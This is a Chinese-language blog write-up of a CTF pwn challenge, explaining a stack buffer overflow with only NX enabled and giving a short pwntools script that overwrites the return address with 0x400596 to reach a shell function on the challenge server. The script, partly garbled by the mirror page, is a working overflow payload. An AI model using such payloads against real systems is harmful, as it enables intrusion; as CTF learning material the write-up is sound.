zoukankan      html  css  js  c++  java
  • CTF:第三题

    https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5053&page=1

    相比前两题,略有难度,费了点点劲,但是还好,没费太大劲

    程序代码非常短,简单地说,就是缓冲区溢出拿shell

     

     然后前面有个函数叫做

     

    这里其实就有点坑了,因为这里已经涉及到偏移了,比较麻烦。。。

    先说这个缓冲区溢出吧,实际上它的目的是要让我输出一个足够长的字符串,这个字符串可以刚好覆盖函数的返回地址,之后直接跳到shell函数的位置,

    即直接跳到 0x400596,目前有一个问题就是,这个程序是否有什么ASLR相关的功能,

    查一下, 

    查了一下之后发现,其实这玩意只开了一个NX,Windows 下这个叫做DEP,是做数据保护的,

    行了,那我就直接尝试改函数返回地址为 0x400596 尝试一下。

     1 from pwn import *
     2 
     3 #a = process("./291721f42a044f50a2aead748d539df0")
     4 a = remote('124.126.19.106', 33948)
     5 r = a.recvuntil('
    ')
     6 print(r)
     7 
     8 str = "a" * 128 + "A" * 8 + 'x9ax05x40x00x00x00x00x00'
     9 print(str)
    10 a.send(str);
    11 
    12 a.interactive()

    0x80个常规字符 a, 然后追加 8个 A 是为了覆盖栈里面的老rbp,因为要跳到的目标函数里面不用rbp,所以也不会出现问题,

    最后一串就是目标函数地址了

    经过这么一搞,发现竟然真的成了

     

     输入一串字符,然后覆盖老rip返回地址之后,跳到了一个目标地址,可以拿到shell,flag 在目录中

    这个题也没啥难点,就是需要判断和尝试,这题没开ASLR,如果开了ASLR的话,基址不固定,那就疯了。

    我浪费了一些时间,主要也是在这个上面。

    由浅入深吧,宗地来说,还是很容易的。

  • 相关阅读:
    整数反转
    两数之和
    设计模式-备忘录模式
    设计模式-迭代器模式
    设计模式-中介者模式
    设计模式-观察者模式
    C# OpenFileDialog和SaveFileDialog的常见用法
    SQL数据库表结构的修改(sql2005)
    C# 时间格式处理
    C# 集合类(四)
  • 原文地址:https://www.cnblogs.com/suanguade/p/12964029.html
Copyright © 2011-2022 走看看